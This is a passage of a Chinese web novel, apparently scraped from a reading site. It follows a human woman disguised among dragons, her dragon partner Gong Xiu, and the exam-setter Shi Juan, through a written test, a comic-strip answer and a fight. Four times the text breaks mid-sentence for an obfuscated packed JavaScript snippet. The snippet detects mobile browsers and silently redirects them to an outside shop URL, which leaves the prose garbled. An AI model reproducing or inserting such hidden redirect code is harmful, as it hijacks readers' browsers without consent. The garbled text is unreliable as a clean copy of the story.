而且骨子里的贵气，是没有办法伪装的。 没办法，直接说自己心疼他，他是不可能上来的了。肖卷卷只好采用一点迂回战术——即蠕动下床，捏住他的肩膀，在他怀里翻个身。 龙的身材基本都很高大，宫修一米八二的身高还会再长，而肖卷卷一米六五的身高已经定型了。 “以前都有人陪我一起睡的，我一个人睡大床害怕。”睁着眼睛说瞎话，肖卷卷一个万年单身老汉，哪儿来人抱着她睡觉。 宫修掀开自己的右眼皮：“真的？” 人类那么胆小吗？他不太了解。 “千真万确！”肖卷卷的脸上露出一抹诡计得逞的笑容：“陪我一起睡呗？” 小龙就是好骗。宫修翘着尾巴躺上床了。 半夜，这只巨龙的神之一脚，让肖卷卷和地板来了个亲密接触。 “恩将仇报啊——” 挨了一脚，清醒了的肖卷卷不得不去房间外上个厕所。没办法，打工人尿路系统总出问题，她不排空一下睡不着。 “嘶……外面好冷……”披上自己的斗篷，肖卷卷路过一间房间时，听到了房间内窸窸窣窣的说话声： “这个题型，施倦大人一定会满意……” “可是这也太……对他们来说不公平……” “要什么公平？！那些受不了考验的龙就让他们死掉好了！反正现在龙那么多，优胜劣汰！” “那……那好吧……就用这个做选拔……” 好像听到了什么不得了的事情……肖卷卷打了个寒颤。她轻手轻脚地向卫生间移动，身后突然响起了一声打响指的声音。 然后接下来眨眼的一秒内，施倦白金色的龙眼就这样出现在她的面前，连同那头夺目的银发。 “你、在、偷、听、他、们、讲、话！” “啊！唔——”肖卷卷的嘴被一把捂住，施倦惊讶地发现，面前的雌性这么小一只，居然能被很轻易地提起。 原本他使的劲只够让一只正常体重的母龙双脚离地，肖卷卷则是被他拎着衣领直接掀了起来。 她的眼眶都红了，施倦愣了一下，又轻轻把她放了下来。 他很想问，她是不是被虐待了，怎么那么轻。 按道理来说，龙界对于雌性的保护已经很完善了，她完全可以让协会介入保护。 但施倦最终还是没有问。 “根据第八条法则，参加宴会的龙不得窃听别人的谈话，更不许在三更半夜偷偷潜伏在他人门口。” 他淡淡的话从嘴里飘了出来。肖卷卷比施倦矮许多，看他只能仰头。 “你的命题组在搞事情。”肖卷卷也面无表情地回怼他。 “好了，现在你也知道了，要惩罚自己吗？” 好不容易脱离面前这条龙的控制，肖卷卷慌忙将自己的皮肤藏在斗篷下，顺便把脸也一起遮起来了。 她怕被施倦看出端倪。一个人类混在龙群中，但凡有一个心怀不轨的龙，自己绝对活不下去。 这样的力量悬殊不是靠训练就能弥补的，她想起自己搬宫修脚指头的时候，明明已经使尽了浑身力气，对方还是纹丝不动。 她不敢去赌。 所以，肖卷卷尽量不主动激怒施倦。现在只能祈祷宫修发现自己不见了，出来救她。 施倦止不住地皱眉。他好歹也是一位魅力不凡的雄性，多少雌性主动来找他，希望能和他缔结契约。 这条母龙怎么那么害怕自己？ 再结合肖卷卷之前的举动，以及她孱弱的身体—— 莫非她是—— 施倦的瞳孔猛地收缩了一下，莫非她生活在一个充满暴力的环境里，既然充满暴力，那就该是北边的区域… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760836|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 她来自军方？ 她是战争的牺牲品，怪不得这样谨慎。 肖卷卷完全不了解施倦丰富的内心活动，她仔细观察着施倦的表情，试图判断自己的气息是否已经被察觉。 施倦的语气却自己都没察觉到的缓和了很多，战争啊，所有的龙都痛恨战争，但总有龙在挑起争端。 施倦是反战支持者，所以对于“受战争迫害”的肖卷卷多了些怜悯。 “现在已经没事了，你作为雌性，可以不用出来工作了。” “你的雄性会养好你的，嗯？” 他微微弯下腰，想一睹肖卷卷的面容。 “你在干什么？！” 千钧一发之际，施倦身后一股强大的攻击力袭来。 “！”他飞身躲过，攻击在肖卷卷面前准确无误地停了下来。 宫修的眼睛已经完全变成了红色，瞳孔发着异常亮的光。 施倦轻盈地往后一跳，整个人浮了起来，然后悠悠飞走。 肖卷卷背后吓出了一身冷汗，站在原地。刚才那个问题还萦绕在她的心头，在这个世界，她明明可以不用卷了，明明只要等着宫修去养活她，自己坐享其成就好。 可她不想。无论在人类世界，还是在龙界，摆烂只是一时的休息，她还是想尽可能地陪伴在自己的伙伴身边。 不让他孤军奋战。 “为什么不喊醒我。”在她愣神之际，一只有力的手抓住她的手腕，随后，肖卷卷整个人扑进宫修温暖的怀抱里。 “真是的，谁让你一脚把我踹下去了……”肖卷卷的声音闷闷的，宫修不确定她是因为害怕，还是因为只披一件斗篷，在外面的时间长了，冷出鼻音来。 毕竟她是人。体温比龙不知道低了多少。 “以后无论什么事，请让我陪同。”将肖卷卷塞进自己的斗篷里，用自己的体温温暖一下，宫修将肖卷卷送到卫生间门口，一边目送她进去，一边盘算着，明天晚上要抢一个带厕所的单间。 肖卷卷从厕所出来后，才突然意识到，宫修是龙，龙本来就不需要那么长时间的睡眠，而自己还是因为害怕打扰他，没有选择把他叫醒。 ……看待自己善解人意的性格一时半会是改不了了。 施倦看似飞走，实则只要他们在这个城堡里，一举一动都受到他的监视。 他眼睁睁地看着瘦弱的小雌性被那只凶狠的龙揉了捏，捏了揉，眼底的光又暗了几分。 曾经他也多希望拥有一个能陪伴在自己身边的雌性，不是人类也可以…… 已经几百年没有遇到过这样有意思的雌性了，明明在害怕，却不断思考着为数不多存活的可能性。她很积极。 这给施倦所认为的已经了无生趣，完蛋了的龙界注入了一点新鲜力量。 为什么，为什么她会选择来到这里…… 是来打断他的计划的吗？虽然施倦已经一意孤行的执行了这个计划几十年，但他从来没有一刻那么期望过，有一条龙站出来，告诉他这是错的，你完全错了。 在他久远又痛苦的少年时代，施倦就是这样一点一点熬过来的。 为什么到他长大就要原谅世界了。无意识间蜷缩起自己的手指，然后慢慢握紧成拳。 施倦悄无声息地飞回最高塔顶。 这两个人，他会记住他们的姓名。 5. 笔试都是大画家 经过昨天晚上那一遭，宫修换了个睡觉姿势。肖卷卷第二天醒过来的时候，一只肥肥胖胖的龙体紧紧贴着自己，她摸了摸自己的额头，汗如雨下。 “好热——” “呀呼，一大早就这么热闹。”莉莉安和威廉从隔壁房间走出来，正好撞上打打闹闹的肖卷卷和宫修。 “真有精神啊喂——”莉莉安贴了贴肖卷卷点肩膀。 “快别拿我打趣了，昨天晚上差点被施倦——”话说到一半，肖卷卷赶紧打住。 睡昏头了，差点把被施倦审问的事说出来。 宫修站在肖卷卷身后，一言不发，只有那双红色的龙眼一闪一闪。 “不说这些，莉莉安，今天的考核是什么？”好在莉莉安也是神经大条的龙，被这么一绕，她成功忽略了肖卷卷口中的纰漏。 “不是吧卷卷，你们来参加宴会，居然都不提前关注流程的吗？”活泼的小龙在她面前蹦了蹦，莉莉安摊手： “开始当然是笔试啦，用成绩筛掉一批人呗～” 龙界考什么呢……肖卷卷好歹也是人类世界里的名校大学生，虽然当年那点知识基本上还回去了。 不过，如果不算困难的话，她还能勉强应付。 正忧心着，莉莉安和威廉去吃早饭了。宫修已经从大堂回来，给肖卷卷抢了刚出炉的最软的面包。 “好吃！”看着自己的小人类眼睛亮了起来，宫修的嘴角又不易察觉地上扬了几个弧度。 现在这个大堂里，只有他知道，肖卷卷其实是个从人界误入龙界的弱小人类。 不管了，绑架代替收养，他捡到的小人类，自然归他照顾。 如果肖卷卷能听到宫修的心声，大概会不满地抱怨，究竟是谁捡到谁啊喂！ “早。”周围的龙突然爆发出惊呼，肖卷卷好不容易咽下最后一口面包。 咚，看到那双白金色的眼睛，肖卷卷的心脏猛地一坠。 “是施公子……施公子怎么会来我们这些凡龙身边……天呐，我不会是在做梦吧……” 旁边的龙窃窃私语，肖卷卷多希望他这时不是来找自己的。 于是，她作出了来到龙界之后最蠢的一个决定——肖卷卷火速跑到大堂的餐桌旁，拿起一个鸡蛋剥了起来，假装自己有事情可干。 不要找我不要找我……我不要补课我不要加班……明明这是休息时间！ “肖、卷、卷？” 完了，和学生时代一来到教室就被班主任点名一样绝望，肖卷卷不想回头。 “鸡蛋好吃吗？”施倦银白色飘逸的长发飞到肖卷卷面前，舞动的发丝像一条条毒蛇。 其实无论在龙界还是在人界，施倦的长相都很受欢迎。只要看过他的脸，都可以总结出这样一个词： 神圣。 他的脸天生带着一种神性，眉眼间又有丝丝缕缕的魅惑，像是在引诱着对方犯罪，邀请对方狠狠凌虐他这张可怜的脸蛋。 偏偏肖卷卷最怕看到他这张脸，每一次施倦出现，对肖卷卷来说都不是什么好事。 “还……不错。”肖卷卷往宫修的方向退了几步，“味道挺好，施公子，你吃不吃？” 汗已经流到了腰上，肖卷卷心里七上八下，不会让他看出什么端倪来吧？ 施倦看着肖卷卷害怕又警惕的脸，心中居然有些受伤。不知道自己究竟怎么了，已经到了对异性这么饥渴的程度了吗？为什么每一次靠近肖卷卷，就忍不住想揉揉她的脑袋？ 自我反省的施公子，只是一味认为自己的自制力下降，完全没有怀疑过基因里龙喜欢人类的力量。 看着一跃而起飞走的施倦，周围那些满眼崇拜的龙看向肖卷卷的眼神也不一样了。 之前没人注意到这两条穿着黑斗篷的龙，他们低调成这样，居然还认识施公子？ 不自觉的，来参加宴会的龙对肖卷卷和宫修都多了些向往，主动和肖卷卷聊天的龙也多了起来。 施倦撑着头，站在三楼的栏杆旁，如他前几百年一样，看着其他龙快乐玩耍，而自己必须对自己有着最高的要求，时时刻刻都要学习新的东西，绝不能落下。 他突然羡慕起那些以往他眼里的平庸的龙。 他们围在一起，猜拳也好，嘻嘻哈哈聊天也好。 他们在那个他永远进不去的圈子里。 …… 笔试，肖卷卷和宫修被分开了。 “不行！”听到这个消息的第一时间，宫修向监考人提出异议： “她身边必须有我保护！我不放心！” “为什么？她也有自己的能力，考个笔试而已，会遇到什么危险吗？”监考人不知道肖卷卷是人。 “因为——”宫修突然噎住了，因为……因为什么？ 因为肖卷卷是人类。 他不能说。 “放心吧宫修，我从考场出来后，就去找你。”肖卷卷拉住了宫修的手，轻轻帮他整理了一下他的刘海： “刘海真的长了，过两天非得帮你剪剪。” “去吧。” 不知道为什么，宫修发现，自己越来越离不开自己的人类了。 明明一开始见到肖卷卷的时候，自己内心拼命抵抗这个女人。 他不要成为人类的玩物。 为什么现在，只要这个人类离开他的视线，他就止不住地担心，害怕她遭遇不测，害怕再也看不见她的笑脸…… 大概只是因为，自己好不容易获得了一只人类吧。 另一边，经历了人生大大小小考试的肖卷卷已经在积极做考前准备了。 检查考场统一提供的文具，再回顾一下已经不知道忘到哪里去的知识点，她深吸一口气，试图压下自己紧张的情绪。 拿到题目的那一刻，肖卷卷的眉头不自觉地皱了起来。 第一道题就给人一种很不舒适的感觉，用一个词语来形容——公式化。 很工整的题目，怕是几十年后都不会有改变。 越看越不对劲，这题目里，有种服从性训练的意味。 刁钻晦涩，全是死记硬背的规则……肖卷卷的眼前浮现出施倦那张偏执的脸，果然很符合他的性格，简直是暴君。 在考试前，听主动找来的龙说，施公子的实力强大，前几十年的一场战争，他一个人干掉了对面的一个团。 宛如杀神降临，配上这张悲悯的脸，明明一片慈悲，所到之处却寸草不生，和他的外貌形成了极大的反差。 “根据法典第三十二条，恶意发动战争的龙，都该死。” 施倦手上的法典哗啦啦翻着页，只要他念一段咒语，相应的法典就发出不同的光。 面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760837|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的龙躲闪不及，全部被激光打穿了翅膀。 “根据法典第一百六十条……” “根据法典第两百条……” 一个悲悯却又大开杀戒的神，很恐怖。 但他的确保护了他的子民。这里的龙们感谢他。 偏执几乎是肖卷卷对于施倦的全部影响，他握住自己手腕的时候，他坚持和不理他的自己打招呼的时候，他白金色下三白的龙眼里，迸发着执拗的光。 那也不是折磨其他龙的理由啊！ 肖卷卷恶狠狠地用笔尖戳了一下纸张，力透纸背。 这么多毫无用处的题目，却要折磨这些龙遵守，太荒唐了！ 喜欢考？喜欢不断出题目为难别人？ 那就等着吧！ …… 三楼的办公室里，举止优雅的男子终于回到了自己熟悉的紧闭空间内。他皱着眉，修长的手指捏住自己的鼻梁，轻轻按摩着，身体靠在了椅背上。 ……很久很久以前，施倦尝试过逃出书房，去找自己的朋友玩。 他有时在想，为什么自己要是一条高贵的龙？为什么自己一定要做高贵的龙？那些大家都弄不懂的法规，为什么自己一定要记住？ 可后来，战争的残酷就这样呈现在他的眼前，他不接受也得接受这个事实—— 施家的力量来源于“绝对正确”，只有他记住了“绝对正确”的法则和答案，才能够拯救自己想要保护的人。 所以他舍弃了自己的真心，舍弃了朋友。他觉得自己不后悔。 睁开眼，那双神圣的、白金色的眼睛里已经充满了泪水。 不就是一意孤行吗？我倒要看看，谁敢阻止我。 阻止我的龙，都会被我斩于刀下。 至于肖卷卷，呵。 施倦发出一声冷笑，这么弱小的龙，他不屑一提。 …… 谁没在考试或者上课的时候，在卷子上画过画呢？ “桀桀桀……”肖卷卷这边一笔，那边一笔，已经完全沉浸在自己的艺术里了。 “施倦……喜欢一成不变是吧……单纯也数字来衡量龙是吧……” “今天让你看看，我们摸爬滚打一路走来的人，也不是吃素的。” “这群可爱的龙，就是太守规矩了。”想着昨天，这外白内黑的家伙一把把自己掀飞起来，肖卷卷就气不打一处来。 她肖卷卷这么多年什么事没干过？今天非得让施倦看看，让他知道什么叫人心险恶。 平时画画技术不行的人，一到考试的时候，一个两个都成了大画家了。 叮铃铃，收卷时间到，其他龙看着肖卷卷自信的第一个走上前去，将自己的纸递给了考官。 纸上没有一个字的答案，一副大大的四格漫画占据了全部的空间。 “小题大做的黑芝麻汤圆”，这个标题让监考龙都忍不住笑了起来。 漫画里，施倦像个无力的老头，一点点事都能让他炸毛，他的口头禅就是“根据法典第几条”…… 最关键的是，肖卷卷的画技并没有那么好，这幅漫画多了几分滑稽的好笑感。 面对所有龙吃惊的目光，肖卷卷只是自然地撸起了自己的袖子。 今天，姐就教你们一个道理—— 在考试的时候，谁都能成为漫画家！ 6. 偶遇嘉豪施妙招 看到这组漫画的评考龙差一点点就在施倦的面前笑出声了。 “嗯？怎么了？” 施倦银白色的头发被风吹起，肉眼看来像一条条舞动的银蛇。 他锐利的目光落到评考人员身上，吓得那条龙鼻子上的眼睛都掉了。 “抱、抱歉……”他努力整理了一下自己想笑的心情，却在抬头看到施倦和这张漫画上表现的一模一样的脸时，忍不住冒了个鼻涕泡。 好在施倦似乎被底下的什么东西吸引了视线，暂时放过了面前的龙。 …… 肖卷卷举着手上的小蛋糕在人群里穿梭： “噜噜啦～考试结束啦～解脱喽～” 身旁，一条傲慢的龙轻咳了一声，明显对肖卷卷这样活泼的人——虽然他还不知道肖卷卷是人产生了敌意。 没什么别的原因，单纯看不得别人高兴。 “孔兄，我们来对对答案。” 听到这句话的肖卷卷果然停下了脚步。面前的龙认为她一定是被自己的才华所吸引，赶紧趁这时机多显摆显摆，展示自己优秀的应“施”能力。 “施公子喜欢的，是循规蹈矩的风格，所以这题要写到他心坎上，得往这方面靠……你的不对！” 他故意把答案念得很大声，“波诶”和“跺哥”之类的也非得喊的所有人都听见，身旁已经有几条龙捂住了自己的耳朵，不想被影响后面考试的心情了。 肖卷卷改变了方向，朝那条龙走来。 “你叫什么名字？”率先问名字，是对他有好感的体现吧，那条龙仰起了高傲的头颅： “叫我嘉豪就好。” “嘉豪是吧，我刚才听到你报出的答案了，错误率很高嘛。” 肖卷卷轻笑一声，嘴角微微扬起，看起来像一只得意的小猫。 她整个人浑身上下都披着斗篷，只有脸是露出来的，这一笑让周围所有的龙都倒吸一口冷气，哦我的上苍，好可爱的小……小龙？ 就连嘉豪也看呆了，只会在一旁阿巴阿巴流口水。 毕竟龙对人，基因里就是毫无抵抗力的。 “你说……我的错误率很高？” 肖卷卷只是没有认真对待考试，作为应试教育那么多年培养出来的高材生，她怎么可能搞不懂考试的底层逻辑是什么，就算她不想写，她也能编个有理有据的答案出来。 “你说你是揣测施公子的意图答的题，那我问你，他召集这么多人来参加宴会，通过选拔，为的是什么？” “为的是组建一个他合心合意的命题组？施公子是这么肤浅的人吗？” 说这句话的时候，肖卷卷有意无意地往三层楼上的办公室看。 她知道，施倦一定能看到。 果然，此时的施倦饶有兴趣地看着楼下这群小人的争辩，无意间放过了一个巨大的隐患。 “我想我们的施公子，最希望的还是寻找出一个能出出完美题目，从而更好地替他选拔龙材的命题组吧。” 肖卷卷脸上的表情更得意了，除了与她对峙的嘉豪以外，其他龙都被萌得听不清她在说什么。 这段话既是说给嘉豪听的，也是说给楼上的施倦听的。 肖卷卷就是在暗讽他，你选命题组，光挑这些个称你心的，以后在你身边都是捧你的臭龙脚的龙，看你还怎么发展自己的事业。 这其中的厉害，聪明龙应该能够想通。 “所以你错了，错误的答案，就不要拿出来显摆了。”肖卷卷耸了耸肩，“害得其他龙胆战心惊。” 嘉豪退了几步，乖乖退出龙群的包围圈。 “大杀四方”的肖卷卷气宇轩昂地回到宫修身边：“凯旋！”，并拍了拍他的肩膀。 宫修一直保持着沉默，十几分钟后，肖卷卷觉得不太对劲，这才抬起头，观察自己搭档的表情。 “宫修？” 宫修始终注视着肖卷卷，看着她脸上露出那么可爱的小人得意的表情，又为了他们这些低劣的龙挺身而出。在宫修眼里，世界上找不到比肖卷卷更好的人类了。 这是他养的小人类，平时也爱在他怀里睡觉，而且那么那么乖，从不主动惹事，该出手时就出手。 宫修的笑容逐渐化为姨母笑，再然后，笑容变得奸佞起来。 他要控制不住自己撸人的欲望了！ “哎呦、唔唔唔……”肖卷卷的脸被一顿揉捏，宫修对着她蹭来蹭去，顺便在她的头发上猛嗅了几下。 “宫修！你干什么唔唔……”这种撸法，很像肖卷卷在人类世界里对朋友家小猫的撸法。 宫修不会真把她当小猫了吧？！ 红彤彤的眼睛里都要冒出爱心，宫修一想到自己拥有了一只小人类，心里就止不住地激动。 而楼上的施倦，肖卷卷教训嘉豪，说他好话的时候，他的脸上始终带着自己都没察觉到的笑意。就连旁边的评考员都看出来了，施公子的心情很好。 每当施倦心情不错时，他银白色的头发都会自发飘起，飘得越高证明他越开心。 而那时，他的头发已经快竖到头顶了。 结果另一个黑色妙脆角离她那么近，又是蹭又是搂，还可以近距离捧住她的脸，施倦的头发像突然受地心引力控制一样，迅速落回了地面。 “我不会喜欢上任何雌性。”讲了很多遍的话，现在说出来莫名有种委屈的感觉。 “……施公子？”这明明就是喜欢嘛，评考员心想。 …… 最终筛选出来的，无论是高分卷还是低分卷，都要给施倦审核。 施倦审核主打一个公开透明，他抱着厚厚的讲义来到一楼，当众展示答案，当众讲评打分。 眼尖的肖卷卷一眼看到了自己的讲义，期待施倦等会的反应。 你不是正经吗？喜欢一成不变的法典和规矩，等会让你看看什么叫真正的艺术。 肖卷卷又露出了得意的表情，她的脸被宫修捏了一下。 “啧，你又捏我脸蛋。”宫修的手被不轻不重地打了一下，他收回鼻子那儿闻了闻，好香。 施倦拿起讲义，开始点评。其他龙胆战心惊，生怕自己因为施倦一点心情上的改变而被刷下去，只有肖卷卷心定气闲，反正翻到她的答案，施倦怕是得气得吹胡子瞪眼。 宫修暖暖的身体贴着她，让她感觉异常安心。 “宫修？”她轻轻喊了一声，宫修立刻弯下腰，那张惊为天人的脸贴上肖卷卷的脸颊，泪痣清晰可见。 “你写了什么答案？” 宫修还没开口，施倦先回答肖卷卷了。 他刚好翻到宫修的讲义，宫修交了张白卷上去。 “我担心你。”宫修委屈巴巴地黏在肖卷卷身上，像一条狗尾巴：“所以我没写，时间一到就出来等你了。” “好吧……”肖卷卷叹气，自己的答案也没比宫修的白卷好多少。 肖卷卷和宫修在相邻考场，肖卷卷的讲义很快也被翻出来了。 施倦将这张讲义拿出来的同时，底下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760838|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙通通没忍住笑，捂着脸或是掐着自己的大腿，使劲把笑往回憋。 肖卷卷的画画功底差的恰到好处，既能表现出施倦最明显的特点，又能在最需要画工把人物描绘清晰的时候，将施倦画的奇丑无比。 一个银白色头发的龙拿着法典翻来翻去，用“第几条”“第几十条”规定教训着别人，还喜欢看空荡荡毫无真才实学的龙写出来的阿谀奉承的语句。 这就是施倦。肖卷卷给他的评价是，毫无改进。 “……”台上，施倦沉默了。 像肖卷卷这样的龙，他不得不承认，的确是他第一次见。 为什么她面对这些规训的时候，就能做出这样的反抗。 而自己小时候，被强锁在家里复习一遍又一遍知识的时候，对于痛苦毫无还手之力。 这不公平，这不公平！ 施倦已经分辨不清，现在自己的怒火究竟来源于对肖卷卷的不满，亦或是自己羞愤的心情，还是几百年来受到的所有指向他的剑。 他再也装不下去好人的角色了，让这些随着毁灭全部消失吧！ 一道金色的光闪过，宫修眼皮一颤，他以最快的速度护在肖卷卷身前，为她抵挡住来自施倦抱有杀意的一击。 “咳、咳咳咳……”宫修是被废了修为的龙，虽然恢复了一半，抵挡住来自这个世界的支配者之一的杀招，还是有些支撑不住。 施倦是龙界的支配者之一，龙界支配者一共有十位，这也是他受龙尊敬的原因。 “题海回廊！奇变偶不变，杀！”法典落回施倦手中，他的眼睛已经完全从一开始的白金色变为现在的金色。 “错误惩戒！你们都是错的！” 抵挡住铺天盖地砸向肖卷卷和他的题海攻击的宫修吐出一口鲜血，肖卷卷向他扑来： “宫修！我的龙……” 明明只是临时凑的搭子而已，为什么能为她做到这种程度…… 眼前的画面逐渐变得模糊，原来在龙界，面对强悍的支配者，自己也一点办法都没有啊…… 还天真地想改变这里的一切，仅凭人类的一介凡体，除了连累自己的龙，她什么都做不到…… 就不应该当出头鸟的，这样宫修就不会受伤了…… 肖卷卷抱住宫修，挡在他身前。 施倦的法典已经幻化成笔，准备在肖卷卷和宫修身上打一个大大的叉。 肖卷卷闭上眼睛，反正自己已经死了，再死一次，也没什么大不了的。 被肖卷卷抱着的宫修握紧拳头。如果他没有和父亲起争执，如果自己没有那么天真地发起和父亲的决斗，说不定这时，满修为的自己就可以安然无恙地护着他的人类了。 在肖卷卷说“我的龙”时，施倦有一刻犹豫。 她的龙？ “欢之索。”这一刻犹豫，对于肖卷卷来说什么都不是，但对于同样是龙的宫修，破绽太明显了。 自己和肖卷卷的身旁瞬间竖起一道结界，施倦这一笔虽然打破了结界，自己却被震开了。 与此同时，宫修和肖卷卷的位置调换，承受了主要压力的宫修挡掉了大部分伤害。 “嘶……”肖卷卷的手臂上绽放出一道不小的口子。 施倦气喘吁吁地靠在墙上，金色的眸子又恢复成原先的白金色。 ——他的右手在流血。 熟悉的气息，肖卷卷和宫修的斗篷都破了一大半。 肖卷卷血液的味道…… 施倦瞳孔紧缩！ 7. 好龙难过歹人关 一阵刀光剑影结束，在肖卷卷眼里就飘过去几道光，吹了一阵很大的风，但在在场所有龙的眼里，刚才那一场战斗无异于一场世界大战。 两个人的力量强大到周围体弱的龙全部被波及，现在都趴在地上干呕。 施倦站在原地，那双带有神性的眼睛此时微微向下，似乎在思考着什么。他的衣服破了点，胸脯上下起伏着，那条还在流血的手臂也在颤抖。 好不容易把视线聚焦到肖卷卷的身上，施倦突然感觉到一阵口干舌燥。 ——她是人。 这是几乎可以肯定的事实。人的身上有一种不同于龙的人味，养人的龙身上也会沾染这种味道。 甜甜的，人的血液、汗水和眼泪中都有这样的味道。 肖卷卷是个魁梧女子，能做到不流泪，但她无论如何也控制不住自己不流汗和不流血啊。 所以才一直穿着斗篷遮掩味道，没想到现在斗篷都被打成一块破布了。 “宫修！宫修你没事吧！”肖卷卷焦急地大力捏了两把宫修的脸，大厅的灯光特别亮，晃的她眼花。 宫修咳嗽了几声，虽然声音有些虚弱，不过语调很得意，尾音还带着些小俏皮： “哈，他算什么人，还能难得倒我吗？” “不过如此。”这句话是对面前颤抖着的施倦说的，宫修抱着肖卷卷，匍匐在地面上，抬头时眼里却满是犀利的警告。 他从来没怕过任何一条龙。 施倦转了两下受伤的手，肖卷卷身上都香味一阵又一阵，来自龙基因里喜欢人类的序列蠢蠢欲动，他好不容易克制住对人亲近，撸人的欲望，现在全没用了。 他发现，自己还是无可救药地喜欢面前的雌性。 不仅仅因为她是人，抛开基因，他已经对那个敢于向他提出大胆的建议的雌性刮目相看了。 “你的手……”宫修涂了一点唾沫在肖卷卷的伤口上，过了几分钟，他们才意识到，面前的人没有下一步的行动了 “呵。”施倦突然笑了起来，好吧，今天先放你们一码。 这可不是因为自己对人类手下留情。施倦试图催眠自己，让自己忘掉所有有关于肖卷卷是人的事。 这条严厉又固执的龙自己突然转身走了，宫修和肖卷卷对视一眼，诶？他们设想过很多种结束方式，打一架、吵一架，或者把他们赶出去，都没想过这件事居然能这么草率地结束。 自己的力量……真是薄弱了太多啊…… 想起挑断龙筋时刻骨铭心的疼痛，尤其是动手的还是自己的亲生父亲，宫修心中就涌起漫天的怒火与仇恨。 原本施倦这种龙……完全不会成为他的对手。 宫修的亲生父亲和母亲，能力都强的无边，在他小的时候，宫修就知道自己的天赋超群，原本是作为这个世界的主宰者培养的。 龙界是一个很没有包容度的世界，所有人都必须在这套规则里做一样的事，并且一定要卷过其他龙，在一条赛道上做到底，不然就会被视为失败者。 而像宫修这样的“摆烂”龙，既不想成为主宰者，又不想维护这个不知道传了几万万年的规则，注定不会被这个以内卷出名的龙界接受。 在被挑断龙筋前，宫修只需要使出八成力，就能将施倦打的落花流水。 而现在五成力，面对暴怒全盛时期的施倦，他只能勉强保护住怀里的人。 “真是的，他这么下手这么狠……”面前的小人碎碎念，一边给他上药，一边吐槽着她并不能看清出招的施倦。 “我们讲究来者是客，既然不想招待我们，赶我们走就是了，何苦要动杀招……” “还有啊！”肖卷卷努了努嘴，看起来就像一只萌萌的小猫： “我画的很形象啊……他的题目出的那么无聊，我描绘一下出题人，怎么就破防了呢？” “就是。”宫修很小声地附和了一句。 最近宫修又发现了一个秘密，那就是人类这种珍稀生物，如果在她们吐槽一件事时适时地给予正向反馈，会收获到意想不到的惊喜。 比如说现在，在你吐槽完施倦后，他再加上一句“就是”，他眼前小小的人就能开心地又蹦又跳，恨不得和他大谈三百回合。 …… 第二天的面试，依旧是施倦亲自到场。肖卷卷看了一眼名单，自己居然留下来了。 “施公子也没那么古板嘛……”她暗自思索，“难道是昨天闹太大了，他不好意思赶我走？” 一码归一码，施倦这人一板一眼到肖卷卷觉得有些过头了，但敬业是挺敬业的，每天从早面试到晚，这很辛苦。 而凡事涉及到招人的问题，他都亲力亲为，其他坐班的评考员一天换好几批，只有他一个人每天坚持到晚。 这一点，肖卷卷很钦佩。 施倦看起来和没事人一样，光看他的脸色，没几个刚来的会知道他昨晚吵过甚至打过架。 这就是作为龙界支配者的魄力和控制力吗？ 面试问的问题大差不差，但依旧很难过关。原本肖卷卷已经做好了在滴一轮被淘汰的准备，所以更没有准备眼下的面试。 “不管了，随机应变呗。”宫修比肖卷卷还要紧张，毕竟这条龙可没有接受过肖卷卷所接受的大厂面试千层考核。 坐到施倦面前，肖卷卷才看清他眼下的乌青。 这并非熬夜所导致的，据肖卷卷所知，龙可以连续一两年不睡觉。施倦像是被什么东西抽干了力气，没有余力和他生气了。 控制住自己控制住自己控制住自己……施倦使劲拧了一把自己的大腿，自从知道肖卷卷是人，她身上那种若隐若现的气味更加明显。虽然他时常嘴硬，说自己最讨厌的就是人类了，可实际上他是个资深人奴！ 他简直爱惨人类了好吗？！看到朋友家的人类都会止不住地吸吸对方的肚皮。 尤其是肖卷卷得意地勾起嘴角的样子，这张鲜明又有活力的脸，试问哪条龙会不喜欢？！ 所以连带着对肖卷卷的耐心，都多了不少。 “肖小姐，那么我们开始了。”呀，这是肖卷卷第一次见到施倦笑眯眯的样子，这家伙不会是个受虐狂吧？怎么看起来被骂了之后，脾气好了这么多？ “好。”肖卷卷管不了这么多了，兵来将挡水来土掩，她倒要看看，施倦还能拿她怎么办。 这个混沌邪恶的人类……施倦望着肖卷卷憋着坏心思的小脸，燃起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 